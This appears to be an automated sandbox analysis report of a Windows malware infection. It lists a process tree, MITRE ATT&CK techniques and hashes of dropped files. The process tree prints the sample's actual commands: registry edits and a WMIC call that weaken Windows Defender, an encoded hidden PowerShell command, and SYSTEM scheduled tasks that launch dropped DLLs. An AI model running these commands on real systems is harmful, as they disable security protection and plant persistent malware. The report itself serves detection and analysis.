  schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 05:20:28 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\jPlxNKH.exe\" y7 /fdKZdidJo 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:1780
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
  2⤵
  PID:3360
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 688
  2⤵
  - Program crash
  PID:4824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2032

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1988

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\jPlxNKH.exe
C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\jPlxNKH.exe y7 /fdKZdidJo 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4920
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:3248
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:488
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4132
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:2296
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1904
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5016
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4736
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:796
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5028
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3280
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:112
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1428
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:1268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
  2⤵
  PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:4000
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:568
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4496
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4704
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\NaPVCK.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:1316
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\oheNuSF.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2416
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:1804
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\MnQUerE.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\haxKvmY.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5028
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\eonLlTf.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1488
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\IVsOEdO.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1356
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 10:58:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\ywsOoCbw\ogvPDAq.dll\",#1 /UpdidImkg 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
  2⤵
  PID:2700
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
  2⤵
  PID:772
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1440 -s 2548
  2⤵
  - Program crash
  PID:2672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1976 -ip 1976
1⤵
PID:832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:892

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\ywsOoCbw\ogvPDAq.dll",#1 /UpdidImkg 385118
1⤵
PID:4724
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\ywsOoCbw\ogvPDAq.dll",#1 /UpdidImkg 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  PID:2872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
    3⤵
    PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4776 -ip 4776
1⤵
PID:2416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1440 -ip 1440
1⤵
PID:1780

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4916

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\JipyTrDkU\NaPVCK.dll",#1
1⤵
PID:4648
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\JipyTrDkU\NaPVCK.dll",#1
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4556

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Executes dropped EXE
PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\JipyTrDkU\NaPVCK.dll

Filesize
506KB

MD5
1c8e4a4f09ca9f16e4af78a8da5b651a

SHA1
f758aa1d5401d1ff438193008e81f86d34977eec

SHA256
c46a8bae8edcd8ede0d02e51d3df71ff2bec0c45f4f3624b098ccb2b1e99ea3b

SHA512
776f3385b67bea46e2d6ee03020c1a5892dd1b4469db4f762dad54e971e19024514f0ae2e06ed706193c2e14a4f03a6d9bd0dec786faf7e6fdff6f4571312f59

Download Submit
C:\Program Files (x86)\JipyTrDkU\oheNuSF.xml

Filesize
2KB

MD5
e36519f6d1bde7630cb7f0d6f828fbe5

SHA1
c8f5ba1230c1ae636d96218efd151b80b24b0db5

SHA256
eaa0d2648a90844b613d56b5df2131eed844fa669ddd7b69d5709c194856ae4f

SHA512
4ba3ffef06c9cfb41d0ffa2572a69c7df4e6d17afa8e359156de9ef8d8bb07585b569a11141c5052ebbff635bacf618bdc03c2bdef96ae27efe58d4f3236fffc

Download Submit
C:\Program Files (x86)\YLgKyOFzWxOqC\IVsOEdO.xml

Filesize
2KB

MD5
2a4f42f49e80f094d4bbc04d94d35896

SHA1
92616b68a4a702e50b3602b524660fa4711060bc

SHA256
841a9cd93ec12de59854619a0efa4bbf198afc1c839182a6cdba3f9054a8f2cc

SHA512
f91b60049162bd945624948f9bb196cb810435b07ea34178b0b0d7d67905fa165a8bab61da2e9e792d0ac77d8068a1c30ee459ae59f3432d2c36ef7b940c1db7

Download Submit
C:\Program Files (x86)\krdeMCnRKomDOvwVunR\eonLlTf.xml

Filesize
2KB

MD5
e243bcaf76f67de88209c7427fefc31c

SHA1
c4993821dab601d963c3d4c19fdf12f4b926e259

SHA256
569f9b71637145dc0839d1fdc71ad86c4a1e18a59331b4714592be5e67cb7d6f

SHA512
888b35cb2f9b0a1e46ca933f70a88a195a41df891bdacf90eb6639465b20c1616355745618772422149a100b708f0f0a21e9d66eecfc87e02fec183599ef8bb2

Download Submit
C:\Program Files (x86)\tegRANPZONsU2\MnQUerE.xml

Filesize
2KB

MD5
10a7237ad05f90b33e902a3c63965f2b

SHA1
9e6477cd42b308d68fd05bac7143626604707d4d

SHA256
9cdfd35b0b2bb8dd316cd1d651754e9ac408826878fd4d0a2ea9c51c730488c3

SHA512
dc3ef287fd38ebc00ecce5e87b82dc258a85ea584f2b9b682b6606299f02259be46bf20920184ecd5744638a0c200cd934b0f7e709e2c0b9997ecb09e24a207a

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.5MB

MD5
125133d17e66e49f3a483b673fe78c85

SHA1
3555d07b074a9ff0fa5b92a1d2097769a72124f6

SHA256
e6a43beb377676e6032da5efb2c0b33c393ee83cd5ee530df26b2fc11fa22f09

SHA512
8fa4c14fbba81454d7b8229c0643af88ccb71e15296cfe3f5080114145ee45de009aedbd592046c23a412d7cc1741d82e86903c1eb94600f8b6f6283fb0d01dd

Download Submit
C:\ProgramData\fcblnlcRRSrBhAVB\haxKvmY.xml

Filesize
2KB

MD5
66864bd67e9efb3ce3da48e923a1a32e

SHA1
d9aa64ff16de4c6e6aa6b0337d8f8be013ba17ed

SHA256
be39cc468dfd73945e6be2b595c7c1d214bda39b2a916a012bf0d1b93ce5ef3b

SHA512
aee98c979714ea9cd5500aab430453a41f12c75bab095d1e1a695935f4b81ad8623e1f7f4269a87a6ed986a14140c4001aa9a6119f726f09646cb4fc633670ec

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
89d0d31173998a79ad86549c45ffe3bc

SHA1
598373e8165582de0ecadf526d3029643db1ed3e

SHA256
a2514ad58401a8e2bb22e111ad5cc522a8aa1cdcf4f2655ca2cd55b32b043a39

SHA512
da4dab14eda1639ddb3361b5a0e04cb8d895b2bdbeb1ef7743c7ef8b9be75115651e2fe3da4b193d706d21fe7c87812cefaaaced632b74eee4be329f2d13aacc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
37KB

MD5
15957cf3c3bf2b739615f7c7e35d8763

SHA1
1a65bc323a4b8b6e0b99ae4e903e98466c036c07

SHA256
e44fb4877f574cfcc0fa2c0b3963606e28a7a62ea894a7028818b1d1bb85a3c0

SHA512
933d9b3e67143e88494de14714570a0ee9d3d619bfe89db22140651d35dd938d46644de317d792a2b6760531dcca242a43e0b336966092874722985dfbf185fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
faa2dd409bb88491b6c57728dbf8a673

SHA1
6095f074030e7599cb1f9c251c62e2c0d1fb7418

SHA256
955d02ee998eae94048f3a1b33c8eedc73276ef0a179efb1cebc970d9af0df09

SHA512
0ab69299400998bc05fe7074b2c9b01162db9343deab22b502a26c47a054d2ca42918908fcc77a8cc5d275c17635508d546c3f65d857f37a7331ec9c32a766ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e8eb51096d6f6781456fef7df731d97

SHA1
ec2aaf851a618fb43c3d040a13a71997c25bda43

SHA256
96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

SHA512
0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
0a56a801e6b2bea81fd5ed6c9f681b48

SHA1
8c279ddbb287625d5ddfd673211cac0f93f28847

SHA256
9fa06461400b7bc6ecdd0a8f81ab911d3bf28d16044c97f828061d251b839c7f

SHA512
0f0ad78960b3dec2a54d8ca5a6e25903a15a3b868c7cebfe97f4405b006995d9cf88919d02b00f6e4f126a017171f087722a7d76abb1c3c3a603466142742712

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
2e6808f37add6978d9271b4ad75f5ec7

SHA1
066670ca07c2ef798ab06a5f9f73eb996804dd2b

SHA256
7cc5c296b38d4906db59582d4937a91f9a34fe5ac8a0b0a6b480eb297dd43e86

SHA512
2870ff756ed616854e951f49124099c783902a69c8c8e373c5d545f90c797a6c1b331adc347277672d04774dfee22652e0578abb0f05382b9cddeda9f1a78fe1

Download Submit
C:\Users\Admin\AppData\Local\Packages\favicon.png

Filesize
5.9MB

MD5
1603865df23efcd1dc421a48f090b2d5

SHA1
29c835478c413295787656da1201a3bd08582267

SHA256
fc48da13fe7501b9a08daced7a7fadc6914a36c6c12461a73d2170d748be5712

SHA512
e9bca0319aa1cacdd86a3b5b5904cd508a245e64399acf335299b298feec130985b68ad3456b177aa466284c6239e952aa15ed0e6545ae6ad72848d3ea6405b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

Filesize
2.1MB

MD5
208bd37e8ead92ed1b933239fb3c7079

SHA1
941191eed14fce000cfedbae9acfcb8761eb3492

SHA256
e1fd277ffc74d67554adce94366e6fa5ebc81f8c4999634bcc3396164ba38494

SHA512
a9c3c32573a16b7ca71a12af6e8c8e88502b66bae2465a82dd921fbc6e0c833b9b1c2d436963df189dd9d68568e1be9128826a2e59f1d5fe066b637d2d866715

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

Filesize
304KB

MD5
84bf36993bdd61d216e83fe391fcc7fd

SHA1
e023212e847a54328aaea05fbe41eb4828855ce6

SHA256
8e6d8b5a004c8f21bee1bbe4213c6d78cf80e439b38f587e963e9bb4569aaffa

SHA512
bb3241949618ad2d39057e085e150f43b4d41d74efc4658d9c27f8c0ec80420191517a2c0b6b7e225c4e50e02cd031cdfd178e05b9a869847a3c27b210d09caf

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

Filesize
518KB

MD5
c4ffab152141150528716daa608d5b92

SHA1
a48d3aecc0e986b6c4369b9d4cfffb08b53aed89

SHA256
c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475

SHA512
a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

Filesize
1.2MB

MD5
0b7e08a8268a6d413a322ff62d389bf9

SHA1
e04b849cc01779fe256744ad31562aca833a82c1

SHA256
d23a10b3ff0c565ea8ee7f54bcded0582e1e621ebad69d4523d6746f6d8e0e65

SHA512
3d226673e30bbbc27e0a5a6c64bf81eca475c697486b20141df7975bef97901d4865b88f41937f5e3dd00b437f24f91493f80cb69aa366b7a49cd17b26197ba4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

Filesize
778KB

MD5
05b11e7b711b4aaa512029ffcb529b5a

SHA1
a8074cf8a13f21617632951e008cdfdace73bb83

SHA256
2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa

SHA512
dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

Filesize
579KB

MD5
a991da123f34074f2ee8ea0d798990f9

SHA1
3988195503348626e8f9185747a216c8e7839130

SHA256
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f

SHA512
1f958cacb820833ea8b5ac2d9ca7f596625e688f8f6b6e3ab6f27aa3b25b8c9e5b57e1eed532a8d2519da6c1b41492eb8ac930fc25eaf2be2f344c2f32e81a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

Filesize
1.8MB

MD5
e233413f3e354acc52ee4975bb82d590

SHA1
40b53bf535aff421917c07e71d2885c67988038d

SHA256
b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696

SHA512
7519fc119212d7c690dd581c681f1688e5483d71d9b97e0e52e8fdbd39826e7c62180666d4d821b91bacbc2c6384c1de9a252cbfaf9f47ad9c129e720e41fa7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

Filesize
661KB

MD5
eee5ace818ec491f841a613d742ae586

SHA1
fe22034a4102a2d59dabcc8eb8abe8f84f9f22e9

SHA256
1df3551581625c3c41ea862ba0f8d00382bc858ab8dcc03b833fdf5569d8630e

SHA512
7e8a5c0a8f78743a8c889044ccb4dcfc6618b2cfe9800c7a8acbf2e09342f305646d9c31e80625919d3f44ec8922e311d016ab2ba7e810142a6a3cf8b91c3363

